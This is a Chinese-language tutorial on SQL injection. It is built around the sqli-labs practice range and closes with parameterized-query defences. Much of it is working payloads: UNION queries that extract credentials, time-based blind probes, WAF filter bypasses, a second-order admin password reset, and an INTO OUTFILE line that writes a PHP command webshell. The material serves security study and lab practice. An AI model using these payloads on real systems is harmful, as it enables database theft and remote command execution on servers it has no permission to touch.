SQL 注入实战
整理 SQL 注入类型、判断方式、利用流程与参数化防御。
目录结构
graph TD
A[SQL注入] --> B[准备工作]
A --> C[注入类型]
A --> D[基础注入语句]
A --> E[防御措施]
B --> B1[靶场搭建]
B --> B2[关卡解析]
C --> C1[字符型注入]
C --> C2[错误回显注入]
C --> C3[文件注入]
C --> C4[数字型注入]
C --> C5[盲注技术]
C --> C6[特殊场景注入]
C5 --> C51[布尔型盲注]
C5 --> C52[时间型盲注]
C6 --> C61[POST注入]
C6 --> C62[请求头注入]
C6 --> C63[二次注入]
C6 --> C64[宽字节注入]
C6 --> C65[堆叠注入]
C7 --> C71[and/or过滤绕过]
C7 --> C72[select/union过滤绕过]
C7 --> C73[注释过滤绕过]
C7 --> C74[空格过滤绕过]
1. 准备工作
1.1 靶场搭建
使用Docker快速部署sqli-labs靶场环境:
# 拉取镜像并运行容器
docker pull acgpiano/sqli-labs
docker run --name sqli-labs -d -p 81:80 acgpiano/sqli-labs
# 验证部署
curl 127.0.0.1:81
1.2 关卡解析
推荐学习资源:
SQL注入篇——sqli-labs最详细1-75闯关指南
2. 注入类型
2.1 字符型注入
攻击流程
sequenceDiagram
攻击者->>服务器: 提交单引号测试(id=1')
服务器-->>攻击者: 返回SQL错误信息
攻击者->>服务器: 探测字段数(id=1' order by 3 -- -)
攻击者->>服务器: 定位回显点(id=-1' union select 1,2,3 -- -)
攻击者->>服务器: 提取数据(id=-1' union select user(),database() -- -)
闭合方式
| 截断字符 | 原始SQL形式 | 注入示例 | 适用场景 |
|---|---|---|---|
' | WHERE username='$input' | admin' -- - | 单引号包裹 |
" | WHERE username="$input" | admin" -- - | 双引号包裹 |
') | WHERE (username='$input') | admin') -- - | 单引号+括号 |
") | WHERE (username="$input") | admin") -- - | 双引号+括号 |
2.2 错误回显注入
利用函数:updatexml()、extractvalue()
id=1' union select updatexml(1, concat(0x7e, user(), 0x7e), 1) -- -
0x7e:波浪符~的十六进制,用于标记回显内容- 原理:通过构造XML解析错误泄露敏感数据
2.3 文件注入
Webshell写入:
id=1')) union select 1, '<?php system($_GET["cmd"]); ?>', 3
into outfile '/var/www/html/shell.php' -- -
前提条件:
- 数据库用户拥有
FILE权限 - 知晓Web服务器绝对路径
secure_file_priv配置允许导出
2.4 数字型注入
特征判断:
原始SQL: SELECT * FROM products WHERE id=1
注入测试:
id=1 and 1=1 → 正常页面
id=1 and 1=2 → 异常页面
2.5 盲注技术
2.5.1 布尔型盲注
攻击原理:通过页面真假状态差异推断数据
graph LR
A[获取数据库名长度] --> B[枚举第一个字符]
B --> C[枚举第二个字符]
C --> D[获取表数量]
D --> E[枚举表名]
E --> F[枚举字段名]
F --> G[提取数据]
核心函数:
| 函数 | 作用 | 示例 |
|---|---|---|
length() | 获取字符串长度 | length(database())=8 |
substr() | 截取子字符串 | substr(database(),1,1)='s' |
ascii() | 获取ASCII值 | ascii(substr(database(),1,1))=115 |
if() | 条件判断 | if(1=1,sleep(5),0) |
2.5.2 时间型盲注
适用场景:页面无任何内容变化
id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) -- -
- 若第一位ASCII=115(‘s’),则页面响应延迟5秒
- 自动化工具:sqlmap、自定义Python脚本
2.6 特殊场景注入
2.6.1 POST注入
特点:注入点位于POST请求体中
POST /login.php HTTP/1.1
...
username=admin' or 1=1 -- -&password=123
注意:不能使用--+注释(+号在POST中不作为空格)
2.6.2 请求头注入
常见注入点:
X-Forwarded-ForUser-AgentRefererCookie
检测方法:依次修改各请求头参数值添加测试负载
2.6.3 二次注入
定义与特点:攻击者将恶意SQL代码存储在数据库中,当应用程序后续从数据库取出这些数据并用于SQL查询时触发注入
sequenceDiagram
攻击者->>服务器: 注册用户名:admin'#
服务器->>数据库: INSERT INTO users VALUES('admin''#', ...)
攻击者->>服务器: 请求修改密码(用户名取自数据库)
服务器->>数据库: SELECT * FROM users WHERE username='admin'#'
服务器->>数据库: 执行恶意SQL: UPDATE users SET password='new_pass' WHERE username='admin'#'
数据库-->>服务器: 修改admin用户密码(而非攻击者账户)
经典案例:密码重置攻击
-
注册恶意用户名:
INSERT INTO users (username, password) VALUES ('admin''#', 'attacker_pass');存储的用户名为:
admin'# -
触发二次注入:
-- 原始修改密码SQL UPDATE users SET password='new_pass' WHERE username='$username' AND password='$old_pass'; -- 注入后的SQL UPDATE users SET password='new_pass' WHERE username='admin'#' AND password='$old_pass';结果:
admin用户的密码被修改,#注释掉了后续验证条件
高危场景:
- 用户注册(用户名/邮箱)
- 数据导入功能
- 评论/留言系统
- 用户资料更新
2.6.4 宽字节注入
一些web服务器会通过addslashes()等函数将字符串中的特殊字符转义,将其转化为一般字符。这种情况可以用宽字符注入的方式解决
原理:若目标数据库使用的是多字节字符集(例如GBK),可以在特殊字符前加入ASCII编码范围外,GBK编码中某个字符的前半部分(例如%bf),这样能让转义符被顶掉
%bf%27(') /* 转义前 */
%bf%5c%27 /* 转义后 */
縗' /* 经过GBK解码后 */
可以注意到转义符被前面的%bf吃掉了,按照这个原理我们可以构造如下的攻击字符串:
原始SQL: SELECT * FROM users WHERE id = '$id' LIMIT 1
注入语句: %bf' or 1=1 -- -
最终SQL: SELECT * FROM users WHERE id = '縗' or 1=1 -- -' LIMIT 1
POST注入特例:
post注入情况下无法使用url编码
解决方案:
- 我们可以使用汉字代替,因为一些汉字是3字节的(例如汉),可以与转义符结合解析成两个GBK字符,以此绕过检测。
- burp改包。
2.6.5 堆叠注入
原理:利用应用程序拼接 SQL 语句的漏洞,在一个数据库连接会话中,通过输入数据向数据库一次性提交并执行多条 SQL 语句
案例:
原始SQL: SELECT * FROM users WHERE id = '$id'
注入语句: 1'; insert into users(id,username,password) values ('111','111','111') -- -
最终SQL: SELECT * FROM users WHERE id = '1'; insert into users(id,username,password) values ('111','111','111') -- -' LIMIT 1
场景:
- php中的
mysqli_multi_query()和PDO::query() - java中的“Statement.execute()
或Statement.executeUpdate()` - .NET中的
SqlCommand
2.7 过滤绕过技巧
2.7.1 and和or过滤绕过
一些WAF(Web应用防火墙)或应用程序会过滤请求数据中的and和or等关键字,以防御SQL注入。以下为两种常用绕过方法:
方法1:使用union注入代替
' union select 1,2,3 -- -
适用场景:当注入点位于SELECT语句且页面有回显时
方法2:双写绕过
' oorr 1=1 -- -
原理:应用程序可能只替换一次关键字(如将or替换为空),双写后oorr移除中间的or变为or
2.7.2 过滤select和union等关键字
当应用程序过滤select、union等核心SQL关键字时,可采用以下技巧:
方法1:利用错误回显函数(需错误信息回显)
' and updatexml(1, concat(0x7e,(database())),1) -- -
优势:无需使用select即可提取数据
方法2:双写/大小写混合绕过
' UniOn SelEct 1,2,3 -- - /* 大小写混合 */
' ununionion selselectect 1,2,3 -- - /* 分别双写 */
' unionunion select select /* 两个字段一起双写 */
原理:
- 大小写混合:绕过简单的大小写敏感过滤
- 双写:若过滤机制为删除关键字,则
ununionion删除中间的union后仍保留union
2.7.3 注释过滤绕过
替代方案:使用逻辑闭合代替注释符
原始SQL: SELECT * FROM users WHERE id = '$id' LIMIT 1
注入语句: ' and '1'='1
最终SQL: SELECT * FROM users WHERE id = '' and '1'='1' LIMIT 1
注意:逻辑闭合构造的注入语句不一定能真正闭合
原始SQL: SELECT * FROM users WHERE id = ('$id') LIMIT 1
注入语句: ' and '1'='1
最终SQL: SELECT * FROM users WHERE id = ('' and '1'='1') LIMIT 1
方案2:使用;%00截断sql语句
原始SQL: SELECT * FROM users WHERE id = '$id' LIMIT 1
注入语句: ' ;%00
最终SQL: SELECT * FROM users WHERE id = '' ;%00' LIMIT 1 (不过还是可以盲注)
解析:;是sql语句的分割符,而%00是php的字符传截断符,类似c的\0所有后面的sql语句将不会被读取
2.7.4 空格过滤绕过
替代方案:使用%0a代替空格或用括号,‘等符号隔开语句
3. 基础注入语句速查手册
/* 判断列数 */
order by 4 -- -
/* 定位回显点 */
union select 1,2,3 -- -
/* 获取系统信息 */
union select 1,@@version,@@datadir -- -
/* 枚举数据库 */
union select 1,schema_name,3 from information_schema.schemata -- -
/* 枚举指定库的表 */
union select 1,group_concat(table_name),3
from information_schema.tables
where table_schema='security' -- -
/* 枚举表字段 */
union select 1,group_concat(column_name),3
from information_schema.columns
where table_name='users' -- -
/* 提取数据 */
union select 1,group_concat(concat_ws(':',username,password)),3
from users -- -
/* 报错注入 */
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- -
/* 万能密码绕过 */
' or 1=1 -- -
/* 二次注入攻击语句 */ // 新增内容
-- 注册恶意用户名
INSERT INTO users (username) VALUES ("admin'#");
-- 触发二次注入(修改密码场景)
UPDATE users SET password='hacked'
WHERE username='admin'#' AND password='old_pass';
4. 防御措施
graph TD
A[参数化查询] --> B[输入验证]
C[最小权限原则] --> D[错误处理]
E[安全函数] --> F[框架防护]
G[数据信任原则] --> A
G --> B
-
参数化查询(Prepared Statements)
# Python示例 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) -
输入验证:
- 白名单验证(允许的字符集)
- 类型强制转换(数字型参数)
- 长度限制
-
安全配置:
- 禁用危险函数(
exec(),system()) - 移除默认数据库错误信息
- 设置数据库最小权限账户
- 禁用危险函数(
-
数据信任原则(新增防御):
// 即使是数据库来源的数据也要参数化 String sql = "UPDATE users SET password = ? WHERE username = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, newPassword); stmt.setString(2, usernameFromDB); // 从数据库获取的用户名